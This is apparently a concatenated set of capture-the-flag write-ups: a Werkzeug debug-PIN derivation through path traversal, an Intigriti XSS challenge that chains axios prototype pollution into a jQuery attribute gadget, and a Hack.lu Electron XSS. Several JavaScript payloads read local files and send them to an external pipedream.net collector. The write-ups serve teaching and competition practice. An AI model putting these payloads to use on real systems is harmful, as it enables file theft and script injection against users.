fetch(`/api/ipc_download?file=../../../../${file}`, { 432 | credentials: 'include' 433 | }).then(response => response.text()) 434 | .then(data => { 435 | const encodedData = btoa(data); 436 | const url = `https://en2celr7rewbul.m.pipedream.net/?flag=${encodedData}`; 437 | fetch(url); 438 | }); 439 | }); 440 | ``` 441 | 442 | 443 | /sys/class/net/eth0/address 444 | 445 | ``` 446 | >>> "".join("02:42:ac:11:00:02".split(":")) 447 | '0242ac110002' 448 | >>> print(0x0242ac110002) 449 | 2485377892354 450 | ``` 451 | 452 | /proc/sys/kernel/random/boot_id 453 | 454 | ``` 455 | d2ad6c68-ebf1-4090-85ff-60e0b7c2fb86 456 | ``` 457 | 458 | /proc/self/cgroup 459 | 460 | ``` 461 | 12:blkio:/docker/97cb5dd0fb03213072481c8a621847f1a310238d2db0de37ac81c8116a509c3a 462 | 11:cpuset:/docker/97cb5dd0fb03213072481c8a621847f1a310238d2db0de37ac81c8116a509c3a 463 | 10:freezer:/docker/97cb5dd0fb03213072481c8a621847f1a310238d2db0de37ac81c8116a509c3a 464 | ``` 465 | 466 | machine id => 467 | 468 | ``` 469 | d2ad6c68-ebf1-4090-85ff-60e0b7c2fb8697cb5dd0fb03213072481c8a621847f1a310238d2db0de37ac81c8116a509c3a 470 | ``` 471 | 472 | /etc/machine_id can be ignored as this file doesn't exist on our challenge server. 473 | 474 | ```python 475 | probably_public_bits = [ 476 | 'root',# username 477 | 'flask.app',# modname 478 | 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) 479 | '/usr/local/lib/python3.11/site-packages/flask/app.py' # getattr(mod, '__file__', None), 480 | ] 481 | 482 | private_bits = [ 483 | '2485377892354',# str(uuid.getnode()), /sys/class/net/ens33/address 484 | # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup 485 | 'd2ad6c68-ebf1-4090-85ff-60e0b7c2fb8697cb5dd0fb03213072481c8a621847f1a310238d2db0de37ac81c8116a509c3a' 486 | ] 487 | ``` 488 | 489 | Now run the script werkzeug-pin-bypass.py and you will have the pin 490 | 491 | 492 | You can see here that they are indeed same :) 493 | ![image](https://user-images.githubusercontent.com/31372554/254167983-a0a1401b-cf80-4e17-b17f-94f8f1cb1635.png) 494 | 495 | 496 | 0xbla did all this scripting work in no time so thanks to him we were able to complete this challenge in no time. 497 | 498 | 499 | And at last we had the flag 500 | 501 | ![image](https://github.com/Sudistark/CTF-Writeups/assets/31372554/02eb4516-ef05-41ea-b9fc-2e36755ddd85) 502 | 503 | 504 | -------------------------------------------------------------------------------- /Intigriti-XSS-Challenges/2024/Jan.md: -------------------------------------------------------------------------------- 1 | Mizu put another great xss challenge at the start of this year, so I went all in to solve it this time finally :p 2 | 3 | The source for this challenge was provided: https://challenge-0124.intigriti.io/static/source.zip 4 | 5 | The routes are defined in \src\app.js 6 | 7 | ```js 8 | app.get("/", (req, res) => { 9 | if (!req.query.name) { 10 | res.render("index"); 11 | return; 12 | } 13 | res.render("search", { 14 | name: DOMPurify.sanitize(req.query.name, { SANITIZE_DOM: false }), 15 | search: req.query.search 16 | }); 17 | }); 18 | 19 | app.post("/search", (req, res) => { 20 | name = req.body.q; 21 | repo = {}; 22 | 23 | for (let item of repos.items) { 24 | if (item.full_name && item.full_name.includes(name)) { 25 | repo = item 26 | break; 27 | } 28 | } 29 | res.json(repo); 30 | }); 31 | ``` 32 | 33 | The two relevant onces are this. 34 | 35 | For the first index root, it takes the value from the query parameters `name` and `search` which are passed to the render method. Sanitization is being done on name parameter via dompurify so no easy xss there. 36 | 37 | Those parameters values are used in the search.ejs template 38 | 39 | ```js 40 | <%- include("inc/header"); %> 41 |

Hey <%- name %>,
Which repo are you looking for?

42 | 43 | 46 | 47 |
48 | 49 |
50 | 51 |

52 | 53 | 54 | 55 | 56 | 91 | 92 | 93 | 94 | ``` 95 | 96 | The value from `name` parameter (sanitized using dompurify) is placed here: 97 | 98 | ```ejs 99 |

Hey <%- name %>,
Which repo are you looking for?

100 | ``` 101 | 102 | From ejs docs https://ejs.co/#docs 103 | `<%-` Outputs the unescaped value into the template, so this is clearly a html injection bug (no xss due to use of dompurify) 104 | 105 | ```ejs 106 | 107 | ``` 108 | `search` parameter value is safe from html injection: `<%=` Outputs the value into the template (HTML escaped) 109 | 110 | The same can be verified from this url: https://challenge-0124.intigriti.io/challenge?name=shirley%3Cimg%20src=x%3E&search=shirley%22%3E%3Cimg%20src=x%3E 111 | ![image](https://github.com/Sudistark/CTF-Writeups/assets/31372554/60261d43-9364-4fa4-9b4c-ca12f575b20d) 112 | 113 | 114 | Moving on to the script block, it loads two things axios and jquery.The version of jquery is mentioned but axios isn't. 115 | 116 | ```js 117 | function search(name) { 118 | $("img.loading").attr("hidden", false); 119 | 120 | axios.post("/search", $("#search").get(0), { 121 | "headers": { "Content-Type": "application/json" } 122 | }).then((d) => { 123 | $("img.loading").attr("hidden", true); 124 | const repo = d.data; 125 | if (!repo.owner) { 126 | alert("Not found!"); 127 | return; 128 | }; 129 | 130 | $("img.avatar").attr("src", repo.owner.avatar_url); 131 | $("#description").text(repo.description); 132 | if (repo.homepage && repo.homepage.startsWith("https://")) { 133 | $("#homepage").attr({ 134 | "src": repo.homepage, 135 | "hidden": false 136 | }); 137 | }; 138 | }); 139 | }; 140 | 141 | window.onload = () => { 142 | const params = new URLSearchParams(location.search); 143 | if (params.get("search")) search(); 144 | 145 | $("#search").submit((e) => { 146 | e.preventDefault(); 147 | search(); 148 | }); 149 | }; 150 | ``` 151 | 152 | Upon window load, it calls the `search` method, `params` variable contains the value of *search* query parameter. 153 | 154 | 155 | ```js 156 | axios.post("/search", $("#search").get(0), { 157 | "headers": { "Content-Type": "application/json" } 158 | }).then((d) => { 159 | $("img.loading").attr("hidden", true); 160 | const repo = d.data; 161 | if (!repo.owner) { 162 | alert("Not found!"); 163 | return; 164 | }; 165 | 166 | $("img.avatar").attr("src", repo.owner.avatar_url); 167 | $("#description").text(repo.description); 168 | if (repo.homepage && repo.homepage.startsWith("https://")) { 169 | $("#homepage").attr({ 170 | "src": repo.homepage, 171 | "hidden": false 172 | }); 173 | }; 174 | }); 175 | ``` 176 | 177 | Axios is used to make a post request to the search endpoint, the 2nd arguement is `$("#search").get(0)` which for some reasons looks weird. 178 | It stores the response from the search endpoint in `repo` variable, if `repo.owner` is defined it moves on the next part of code 179 | 180 | ```js 181 | $("img.avatar").attr("src", repo.owner.avatar_url); 182 | 183 | $("img.avatar")[0] corresponds to the element 184 | It sets the src attribute value with what is in the `repo.owner.avatar_url` property 185 | ``` 186 | 187 | ```js 188 | $("#description").text(repo.description); 189 | 190 |

// sets the innerText property to `repo.description` 191 | ``` 192 | 193 | ```js 194 | if (repo.homepage && repo.homepage.startsWith("https://")) { 195 | $("#homepage").attr({ 196 | "src": repo.homepage, 197 | "hidden": false 198 | }); 199 | }; 200 | ``` 201 | 202 | It checks the value of `repo.homepage` if it starts `https://` or not. If it does it sets the value to the src attribute of `$("#homepage")` element which basically is an iframe 203 | 204 | ```html 205 | 206 | ``` 207 | 208 | This kinda looks promising sink as if somehow that check can be bypassed (with the help of quirk of this challenge) it would be easy to get xss if it went something like this 209 | 210 | ```html 211 | 212 | ``` 213 | 214 | 215 | ```js 216 | app.post("/search", (req, res) => { 217 | name = req.body.q; 218 | repo = {}; 219 | 220 | for (let item of repos.items) { 221 | if (item.full_name && item.full_name.includes(name)) { 222 | repo = item 223 | break; 224 | } 225 | } 226 | res.json(repo); 227 | }); 228 | ``` 229 | 230 | It basically searchs for the string provided in q param (search parameter ) and checks if a match is found in repos.json file (check the source) 231 | 232 | For eg this loads: 233 | https://challenge-0124.intigriti.io/challenge?name=shirley%3Cimg%20src=x%3E&search=angular/material-start 234 | 235 | ```html 236 | 237 | ``` 238 | 239 | ------------------------- 240 | 241 | # Axios Prototype Pollution 242 | 243 | As I already said that the 2nd arg kinda look weird.Lets dig into it to see why it's used that way 244 | 245 | ```js 246 | axios.post("/search", $("#search").get(0), { 247 | "headers": { "Content-Type": "application/json" } 248 | }) 249 | ``` 250 | 251 | ```js 252 | >$("#search").get(0) 253 | 254 | 257 | ``` 258 | 259 | Ok so they are passing full the whole form tag as 2nd arg? 260 | 261 | ``` 262 | POST /search HTTP/1.1 263 | Host: challenge-0124.intigriti.io 264 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 265 | Content-Type: application/json 266 | Content-Length: 30 267 | 268 | {"q":"angular/material-start"} 269 | ``` 270 | 271 | Cool, so it somehow converted that form tag to json format. 272 | Looking at some examples of axios post calls 273 | 274 | https://github.com/axios/axios/blob/6d4c421ee157d93b47f3f9082a7044b1da221461/test/module/typings/cjs/index.ts#L91 275 | 276 | ```js 277 | axios.post('/user', { foo: 'bar' }) 278 | .then(handleResponse) 279 | .catch(handleError); 280 | ``` 281 | 282 | See the 2nd arg is actually in json format. 283 | So a form tag was converted into a json object, such conversions to json objects are often vulnerable to prototype pollution so I started searching on google for "axios prototype pollution" 284 | 285 | The first seacrh result: 286 | 287 | https://security.snyk.io/vuln/SNYK-JS-AXIOS-6144788 288 | 289 | Commit: https://github.com/axios/axios/commit/3c0c11cade045c4412c242b5727308cff9897a0e 290 | 291 | Indeed this is a fix for the pp bug, before there was no check for the key if it was equal to `__proto__`: 292 | 293 | ```js 294 | function formDataToJSON(formData) { 295 | function buildPath(path, value, target, index) { 296 | let name = path[index++]; 297 | 298 | if (name === '__proto__') return true; 299 | ``` 300 | One more file was changed in that commit which is used to check for regressions: 301 | 302 | ```js 303 | it('should resist prototype pollution CVE', () => { 304 | const formData = new FormData(); 305 | 306 | formData.append('foo[0]', '1'); 307 | formData.append('foo[1]', '2'); 308 | formData.append('__proto__.x', 'hack'); 309 | formData.append('constructor.prototype.y', 'value'); 310 | 311 | expect(formDataToJSON(formData)).toEqual({ 312 | foo: ['1', '2'], 313 | constructor: { 314 | prototype: { 315 | y: 'value' 316 | } 317 | } 318 | }); 319 | 320 | expect({}.x).toEqual(undefined); 321 | expect({}.y).toEqual(undefined); 322 | }); 323 | }); 324 | ``` 325 | 326 | This gives us an idea about how the payload will look like to trigger the prototype pollution bug: 327 | 328 | Sample prototype pollution payload: 329 | 330 | ```js 331 | 335 | ``` 336 | 337 | 338 | 339 | Our html injection is before the form tag, so we can supply the above prototype pollution payload 340 | 341 | ```html 342 |

Hey <%- name %>,
Which repo are you looking for?

343 | 344 | 347 | ``` 348 | https://challenge-0124.intigriti.io/challenge?name=shirley%3Cform%20id=%22search%22%3E%20%3Cinput%20name=%22q%22%20value=%22angular/material-start%22%3E%20%3Cinput%20name=%22__proto__.x%22%20value=%22hack%22/%3E%20%3C/form%3E&search=angular/material-start 349 | 350 | It will render like this 351 | 352 | ```html 353 |

Hey shirley,
Which repo are you looking for?

354 | 355 | 358 | ``` 359 | 360 | See now there are two form tags with same id `search`, one is the original and the other which we injected contains the pp payload 361 | As our injected form tag is first it will be used by axios instead 362 | 363 | 364 | ```js 365 | axios.post("/search", $("#search").get(0), { 366 | "headers": { "Content-Type": "application/json" } 367 | }) 368 | ``` 369 | 370 | Here we go , we successfully polluted the `x` property. 371 | 372 | ![image](https://github.com/Sudistark/CTF-Writeups/assets/31372554/a8608493-c73b-428b-91a9-f4d7828c07b8) 373 | 374 | -------- 375 | 376 | # Prototype Pollution Gadget 377 | 378 | As I had no idea about how to get xss for now, I though why not try looking for a pp gadget in axios or jquery.As that can give easy xss. 379 | Here you can find a bunch of gadgets for jquery: https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/jquery.md#xoff-jquery-all-versions 380 | 381 | For axios I didn't find anything from google search and the jquery ones didn't seemed related to the challenge. 382 | 383 | So the only possible way was to look for a new jquery gadget :) 384 | 385 | 386 | 387 | To make the process easiere I was using a local version which had the jquery unminified version 388 | ```html 389 | 390 | 395 | 396 | 397 | 398 |

A tool to calculate the contrast ratio between any two valid CSS colors.

399 | 400 | 401 | 408 | 409 | 410 | ``` 411 | 412 | One thing was starnge after using a pp payload, this error appeared in the console: 413 | 414 | ```js 415 | Uncaught TypeError: Cannot use 'in' operator to search for 'set' in 416 | at attr (jquery-3.7.1.js:7910:24) 417 | at access (jquery-3.7.1.js:3919:5) 418 | at access (jquery-3.7.1.js:3890:4) 419 | at jQuery.fn.init.attr (jquery-3.7.1.js:7872:10) 420 | at tset2.htm:15:23 421 | ``` 422 | 423 | 424 | The statement `"set" in hooks` was triggering this error, as set property is there only in case of objects but turns out hooks was containing a string. 425 | 426 | 427 | 428 | ```js 429 | if ( hooks && "set" in hooks && 430 | ( ret = hooks.set( elem, value, name ) ) !== undefined ) { 431 | return ret; 432 | } 433 | ``` 434 | 435 | Tracing it back from where hooks came from 436 | 437 | ```js 438 | if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { 439 | hooks = jQuery.attrHooks[ name.toLowerCase() ] || 440 | ( jQuery.expr.match.bool.test( name ) ? boolHook : undefined ); 441 | } 442 | ``` 443 | 444 | somehow `name` contains the polluted property for eg in this case `test` 445 | 446 | ```js 447 | Object.prototype.test="" 448 | ``` 449 | 450 | Normally it would return undefined but due to the prototype pollution 451 | 452 | ```js 453 | jQuery.attrHooks[ name.toLowerCase() ] 454 | jQuery.attrHooks[ "test".toLowercase() ] was returning a string "" 455 | ``` 456 | 457 | Tracing more backwards to see where name is coming from 458 | 459 | ```js 460 | jQuery.extend( { 461 | attr: function( elem, name, value ) { 462 | ``` 463 | name -> test 464 | 465 | value -> `` 466 | 467 | Tracing from where this function was called: 468 | 469 | ```js 470 | if ( fn ) { 471 | for ( ; i < len; i++ ) { 472 | fn( 473 | elems[ i ], key, raw ? 474 | value : 475 | value.call( elems[ i ], i, fn( elems[ i ], key ) ) 476 | ); 477 | } 478 | } 479 | ``` 480 | 481 | ```js 482 | for ( i in key ) { 483 | access( elems, fn, i, key[ i ], true, emptyGet, raw ); 484 | } 485 | ``` 486 | 487 | ![image](https://github.com/Sudistark/CTF-Writeups/assets/31372554/3bd3aa7a-f77a-4062-96a5-796f64db3b98) 488 | 489 | elems contains a reference to the iframe element and key contains the json object which passed in as argument to the attr method 490 | 491 | ```js 492 | $("#homepage").attr({ 493 | "src": "https://google.com", 494 | "hidden": false 495 | }); 496 | ``` 497 | 498 | so key was equal to 499 | 500 | ```js 501 | { 502 | "src": "https://google.com", 503 | "hidden": false 504 | } 505 | ``` 506 | 507 | Thanks to the prototype pollution bug, even though only two attributes were provided (src,hidden) 508 | 509 | ```js 510 | for ( i in key ) { 511 | console.log(i); 512 | } 513 | ``` 514 | 515 | ![image](https://github.com/Sudistark/CTF-Writeups/assets/31372554/b0479b85-9ef0-45be-90da-27d131b993d1) 516 | 517 | See `test` came from the `__proto__` 518 | 519 | If I can somehow fix that "set" in error , I would be able to get a very simple xss as 520 | 521 | ```js 522 | if ( hooks && "set" in hooks && // error trigger here 523 | ( ret = hooks.set( elem, value, name ) ) !== undefined ) { 524 | return ret; 525 | } 526 | 527 | elem.setAttribute( name, value + "" ); // here is the sink 528 | return value; 529 | ``` 530 | 531 | For other attributes `hooks` is undefined so it skips the if statement and directly reaches the sink which sets the attribute to the elem (refrencing to the iframe tag) 532 | 533 | 534 | By polluting some properties like this, it can give you xss (if you can somehow skip the hooks if condition check) 535 | 536 | ```js 537 | Object.prototype.srcdoc="" 538 | Object.prototype.onload="alert()" 539 | ``` 540 | 541 | This is where it took me much time to figure out the solution https://gist.github.com/Sudistark/d869e505c8ff45c3bb96612bcb2c953b even tried asking Mizu if I was on the right path or not 542 | 543 | He told me yeah it should work as this is the unintended solution which everyone was using :p,as I knew there must be something I am still missing I looked at it again and again to fix it but still had no success. 544 | I was looking for a way to make hooks undefined,which didn't looked possible as the polluted property will be available to all the objects. 545 | 546 | Next day when I again looked at it, I noticed that: 547 | 548 | ```js 549 | jQuery.attrHooks[ name.toLowerCase() ] 550 | ``` 551 | 552 | They were transforming the polluted property to lowercase before using it, so if for eg pollute a propert `SRCDOC` 553 | 554 | ```js 555 | Object.prototype.SRCDOC=1337 556 | 557 | jQuery.attrHooks["srcdoc"] // undefined as only the SRCDOC exists not srcdoc in the prototype chain 558 | ``` 559 | 560 | Due to the lowercase transformation it was possible to make hooks undefined and reach the sink easily. 561 | 562 | 563 | https://challenge-0124.intigriti.io/challenge?name=shirley%3Cform%20id=%22search%22%3E%20%3Cinput%20name=%22q%22%20value=%22angular/material-start%22%3E%20%3Cinput%20name=%22__proto__.ONLOAD%22%20value=%22alert()%22/%3E%20%3C/form%3E&search=angular/material-start 564 | 565 | 566 | Final payload 567 | 568 | ```html 569 | 573 | ``` 574 | 575 | ![image](https://github.com/Sudistark/CTF-Writeups/assets/31372554/287124f6-67ef-47e9-b347-a095a98f2124) 576 | -------------------------------------------------------------------------------- /2022/Hack.lu/babyelectron.md: -------------------------------------------------------------------------------- 1 | # BabyElectron 2 | 3 | Hack.lu CTF had many very difficult web challenges, the BabyElectron challenge had the difficulty level set to (Easy,Medium) 4 | 5 | There were two challenges based on the same challenge, basically BabyElectronV1 and BabyElectronV2 6 | 7 | For solving the *BabyElectronV1* challenge we were required to read the file contents of the `flag` file , located under the root directory (`/flag`) 8 | The second one *BabyElectronV2* challenge revolve around getting RCE , in order to get the flag you need to execute the `/printflag` binary file which will echo out the flag. 9 | 10 | Three links were provided in these challenge: 11 | 12 | https://flu.xxx/static/chall/babyelectron_db68aab4272c385892ba665c4c0e6432.zip : Download challenge files (which contained the source code) 13 | https://relbot.flu.xxx/ : Report your Posts here (Submit a report id that the Admin Bot should visit:) 14 | https://flu.xxx/static/chall/REL-1.0.0.AppImage_v2 : Get the app here (From this file the electron can be directly run) 15 | 16 | 17 | I was on windows, so I didn't tried the AppImage . Instead directly ran the electron app from the provided source code, as it will also allow me to add some debugging,etc. 18 | 19 | ------------------------------- 20 | 21 | To start the electron app: 22 | 23 | ```bash 24 | wget https://flu.xxx/static/chall/babyelectron_db68aab4272c385892ba665c4c0e6432.zip 25 | unzip babyelectron_db68aab4272c385892ba665c4c0e6432.zip 26 | cd ./public/app 27 | npm i 28 | 29 | ./node_modules/.bin/electron . --disable-gpu --no-sandbox 30 | ``` 31 | 32 | ![image](https://user-images.githubusercontent.com/31372554/198924661-ba8fbddd-a716-4393-b2f9-f6850fe10d44.png) 33 | 34 | After login/register we can see there three pages: 35 | 36 | Home Page 37 | ![image](https://user-images.githubusercontent.com/31372554/198924790-830601e8-872b-40cf-bf8a-be4f8b6d7033.png) 38 | 39 | 40 | Buy Page 41 | ![image](https://user-images.githubusercontent.com/31372554/198924823-cb712d76-db0f-474b-b41a-df8e7ca695cc.png) 42 | 43 | My portfolio page 44 | ![image](https://user-images.githubusercontent.com/31372554/198924857-be81464c-87fe-4b62-92d4-588b9ab81b58.png) 45 | 46 | 47 | We can also report any House listing to the admin: 48 | 49 | ![image](https://user-images.githubusercontent.com/31372554/198925697-c3895f77-a3e0-4a0f-b474-5b8c2e1fad96.png) 50 | 51 | 52 | Once we buy anything , it will appear under the *My portfolio page* , from there we can even sell the House: 53 | 54 | ![image](https://user-images.githubusercontent.com/31372554/198925007-f6aefc57-c333-40bb-937c-0868d115eae2.png) 55 | 56 | ------------------------------- 57 | 58 | We need to see the underlying requests responsible for all these actions, by adding these two line of code in electron `main.js` file: 59 | 60 | ```js 61 | const {app, BrowserWindow, ipcMain, session} = require('electron') 62 | const path = require('path') 63 | 64 | 65 | app.commandLine.appendSwitch('proxy-server', '127.0.0.1:8080') // [1] 66 | app.commandLine.appendSwitch("ignore-certificate-errors"); // [2] 67 | ``` 68 | 69 | Now restart the elctron application and now you should see the requests in the burp history 70 | 71 | ![image](https://user-images.githubusercontent.com/31372554/198925372-36970fe9-c973-45c9-bdeb-5cb40f5d8435.png) 72 | 73 | -------------------------------- 74 | 75 | As we now have a basic undestanding of the application, let's dig into the source code to see where the bug lies: 76 | 77 | In case of electron application if you have a xss bug it can directly lead to RCE (if all the stars aligned correctly), so I started looking for xss in the sourec code. 78 | Remember the report endpoint? It also allowed us to add a message so let's check if it can lead to xss bug or not. 79 | 80 | 81 | `report.js` 82 | 83 | ```js 84 | // get listing out of path 85 | let houseId = new URL(window.location.href).search 86 | let RELapi = localStorage.getItem("api") 87 | 88 | report = function(){ 89 | fetch(RELapi + `/report${houseId}`, { 90 | method: "POST", 91 | headers: { 92 | "Content-Type": "application/json", 93 | }, 94 | body: JSON.stringify({ 95 | message: document.getElementById("REL-msg").value 96 | })}).then((response) => response.json()) 97 | .then((data) => 98 | // redirect back to the main page 99 | window.location.href = `./index.html#${data.msg}`); 100 | } 101 | ``` 102 | 103 | A request to the api endpoint is made: 104 | 105 | ``` 106 | POST /report?houseId=WOomsaFlA HTTP/2 107 | Host: relapi.flu.xxx 108 | Content-Length: 17 109 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) REL/1.0.0 Chrome/94.0.4606.81 Electron/15.5.7 Safari/537.36 110 | Content-Type: application/json 111 | Accept: */* 112 | Sec-Fetch-Site: cross-site 113 | Sec-Fetch-Mode: cors 114 | Sec-Fetch-Dest: empty 115 | Accept-Encoding: gzip, deflate 116 | Accept-Language: en-US 117 | 118 | {"message":"zzz"} 119 | ``` 120 | 121 | This request is handle in this part of the code: `/api/server.js` 122 | 123 | ```js 124 | app.post('/report', (req,res) => { 125 | 126 | let houseId = req.query.houseId || ""; 127 | let message = req.body["message"] || ""; 128 | 129 | if ( 130 | typeof houseId !== "string" || 131 | typeof message !== "string" || 132 | houseId.length === 0 || 133 | message.length === 0 134 | ) 135 | return sendResponse(res, 400, { err: "Invalid request" }); 136 | 137 | // allow only valid houseId's 138 | db.get("SELECT * from RELhouses WHERE houseId = ?", houseId, (err, house) => { 139 | if(house){ 140 | let token = crypto.randomBytes(16).toString("hex"); 141 | db.run( 142 | "INSERT INTO RELsupport(reportId, houseId, message, visited) VALUES(?, ?, ?, ?)", 143 | token, 144 | houseId, 145 | message, 146 | false, 147 | (err) => { 148 | if (err){ 149 | return sendResponse(res, 500, { err: "Failed to file report" }); 150 | } 151 | return sendResponse(res, 200, {msg: `Thank you for your Report!\nHere is your ID: ${token}`}) 152 | }) 153 | } 154 | else{ 155 | return sendResponse(res, 500, { err: "Failed to find that property" }); 156 | } 157 | }) 158 | }) 159 | ``` 160 | 161 | It returns a token in the response, this token then can be supplied to the `/support` endpoint to retrive the report details: 162 | 163 | ```json 164 | { 165 | "msg": "Thank you for your Report!\nHere is your ID: 553987ee78d0056533cf4dfcdc830ad1" 166 | } 167 | ``` 168 | 169 | https://relapi.flu.xxx/support?reportId=553987ee78d0056533cf4dfcdc830ad1 170 | 171 | ```json 172 | [ 173 | { 174 | "price": 37855, 175 | "name": "6743 Impasse de Presbourg", 176 | "message": "Sed voluptatem itaque necessitatibus itaque aut et ut esse.", 177 | "sqm": 60, 178 | "image": "images/REL-221024.jpeg", 179 | "houseId": "b0Hapli2VJ", 180 | "msg": "xx" 181 | } 182 | ] 183 | ``` 184 | 185 | 186 | The admin bot available at: https://relbot.flu.xxx/ 187 | *Submit a report id that the Admin Bot should visit:* , so no doubt it uses the report id to make a request to the `/support` endpoint 188 | 189 | 190 | This is code for the support page (from where the admin bot checks the report id): 191 | 192 | ```html 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | REL Admin 201 | 202 | 203 | REL Support Page
204 | 205 | Most recent reported Listing: 206 |
207 | 208 |
209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | ``` 218 | 219 | `js/support.js` 220 | 221 | ```js 222 | // support.js fetches next row from API in support and gives it back to the support admin to handle. 223 | console.log("WAITING FOR NEW INPUT") 224 | 225 | const reportId = localStorage.getItem("reportId") 226 | let RELapi = localStorage.getItem("api") 227 | 228 | const HTML = document.getElementById("REL-content") 229 | 230 | 231 | fetch(RELapi + `/support?reportId=${encodeURIComponent(reportId)}`).then((data) => data.json()).then((data) =>{ 232 | if(data.err){ 233 | console.log("API Error: ",data.err) 234 | new_msg = document.createElement("div") 235 | new_msg.innerHTML = data.err 236 | HTML.appendChild(new_msg); 237 | }else{ 238 | for (listing of data){ 239 | console.log("Checking now!", listing.msg) 240 | 241 | // security we learned from a bugbounty report 242 | listing.msg = DOMPurify.sanitize(listing.msg) // [1] 243 | 244 | const div = ` 245 |
246 | 247 | REL-img 248 |
249 |
${listing.name}
250 |
${listing.sqm} sqm
251 |

${listing.message}

252 | 253 |
254 |
255 |
256 | ${listing.msg} 257 |
258 | ` 259 | new_property = document.createElement("div") 260 | new_property.innerHTML = div 261 | HTML.appendChild(new_property); 262 | } 263 | console.log("Done Checking!") 264 | } 265 | }) 266 | ``` 267 | 268 | This looked very interesting, it was making a request to the `/support` endpoint with the report Id we provided and the response is then directly passed to innerHTML (this can lead to xss if there is no sanization over user controllable input). 269 | 270 | Here we can say on line [1], the msg is passed to the Dompurify santize function which take cares of the xss bug.But other variables aren't sanitized listing.houseId,listing.name,listing.price 271 | 272 | If we can get full control over any of these variable we will have a xss bug: 273 | 274 | ```json 275 | [ 276 | { 277 | "price": 37855, 278 | "name": "6743 Impasse de Presbourg", 279 | "message": "Sed voluptatem itaque necessitatibus itaque aut et ut esse.", 280 | "sqm": 60, 281 | "image": "images/REL-221024.jpeg", 282 | "houseId": "b0Hapli2VJ", 283 | "msg": "xx" 284 | } 285 | ] 286 | ``` 287 | 288 | 289 | Request made when sell action is performed: 290 | 291 | ``` 292 | POST /sell HTTP/2 293 | Host: relapi.flu.xxx 294 | Content-Length: 117 295 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) REL/1.0.0 Chrome/94.0.4606.81 Electron/15.5.7 Safari/537.36 296 | Content-Type: application/json 297 | Accept: */* 298 | Sec-Fetch-Site: cross-site 299 | Sec-Fetch-Mode: cors 300 | Sec-Fetch-Dest: empty 301 | Accept-Encoding: gzip, deflate 302 | Accept-Language: en-US 303 | 304 | { 305 | "houseId": "_yTPmi9bfl", 306 | "token": "61e6887048465eed383d6d9f5cd32c86", 307 | "message": "A commodi debitis ut.", 308 | "price": "1" 309 | } 310 | ``` 311 | 312 | The `houseId` is validated and the `price` param value is converted to Integer so we can't put xss payload there. The `message` is the last option and it happily accepts our xss payload input. 313 | 314 | 315 | 316 | Steps to create a report id which would have our xss payload: 317 | 318 | 1.Buy a house (if you don't buy anything, you won't have anything to sell) 319 | 2.Sell the house (this is where we will add our xss payload) 320 | 3.Report the `houseId` which we modified in *step 2* 321 | 322 | Send the `reportId` to the admin then. 323 | 324 | By this way although we have found a successful xss bug, we still need to find a away to read the flag which is in root directory `/flag` 325 | 326 | ------------------ 327 | 328 | 329 | By pressing `CTRL+Shift+I` in the electron app , developer tools window will popup 330 | 331 | Execute this on the console: 332 | ```js 333 | >document.location.href 334 | 'file:///tmp/CTFs/2022/Hack.lu/babyelectron_db68aab4272c385892ba665c4c0e6432/public/app/src/views/portfolio.html#' 335 | ``` 336 | 337 | The local files are directly loaded here, so the location of page where our report will be shown will be this: 338 | 339 | ``` 340 | 'file:///tmp/CTFs/2022/Hack.lu/babyelectron_db68aab4272c385892ba665c4c0e6432/public/app/src/views/support.html#' 341 | ``` 342 | 343 | 344 | Here's the sweet alert popup: 345 | ![electron_O5t35dNFpM](https://user-images.githubusercontent.com/31372554/198938310-2f106dd3-8dab-42aa-9e48-03a6cace8287.png) 346 | 347 | 348 | As we have xss in the file uri, we can make request to other local files and read the content. A simple js payload such as this will allows us to read the flag: 349 | 350 | ```js 351 | fetch('file:///flag') 352 | .then(response=>response.text()) 353 | .then(json=>fetch("https://en2celr7rewbul.m.pipedream.net/x?flag="+json)) 354 | ``` 355 | 356 | This code will read the content of the flag file and sent it to our server. 357 | 358 | 359 | ![image](https://user-images.githubusercontent.com/31372554/198938921-d6a8ceef-a3ca-42b1-8b8f-0d66889ae9ee.png) 360 | 361 | 362 | `flag{well..well..well..good_you_learned_about_file://_origin_:)_}` 363 | 364 | ------------------------------------------------------------------ 365 | 366 | # v2 367 | 368 | 369 | Now we need rce to solve the second part of this challenge, going through electron source code 370 | 371 | Starting with the `webPreferences` configuration: 372 | 373 | ```js 374 | function createWindow (session) { 375 | // Create the browser window. 376 | const mainWindow = new BrowserWindow({ 377 | title: "Real Estate Luxembourg", 378 | width: 860, 379 | height: 600, 380 | minWidth: 860, 381 | minHeight: 600, 382 | resizable: true, 383 | icon: '/images/fav.ico', 384 | webPreferences: { 385 | preload: path.join(app.getAppPath(), "./src/preload.js"), // eng-disable PRELOAD_JS_CHECK 386 | // SECURITY: use a custom session without a cache 387 | // https://github.com/1password/electron-secure-defaults/#disable-session-cache 388 | session, 389 | // SECURITY: disable node integration for remote content 390 | // https://github.com/1password/electron-secure-defaults/#rule-2 391 | nodeIntegration: false, 392 | // SECURITY: enable context isolation for remote content 393 | // https://github.com/1password/electron-secure-defaults/#rule-3 394 | contextIsolation: true, 395 | // SECURITY: disable the remote module 396 | // https://github.com/1password/electron-secure-defaults/#remote-module 397 | enableRemoteModule: false, 398 | // SECURITY: sanitize JS values that cross the contextBridge 399 | // https://github.com/1password/electron-secure-defaults/#rule-3 400 | worldSafeExecuteJavaScript: true, 401 | // SECURITY: restrict dev tools access in the packaged app 402 | // https://github.com/1password/electron-secure-defaults/#restrict-dev-tools 403 | devTools: !app.isPackaged, 404 | // SECURITY: disable navigation via middle-click 405 | // https://github.com/1password/electron-secure-defaults/#disable-new-window 406 | disableBlinkFeatures: "Auxclick", 407 | // SECURITY: sandbox renderer content 408 | // https://github.com/1password/electron-secure-defaults/#sandbox 409 | sandbox: true, 410 | 411 | } 412 | }) 413 | ``` 414 | 415 | The interesting one which we should focus on are (you can find details on these flags from the link 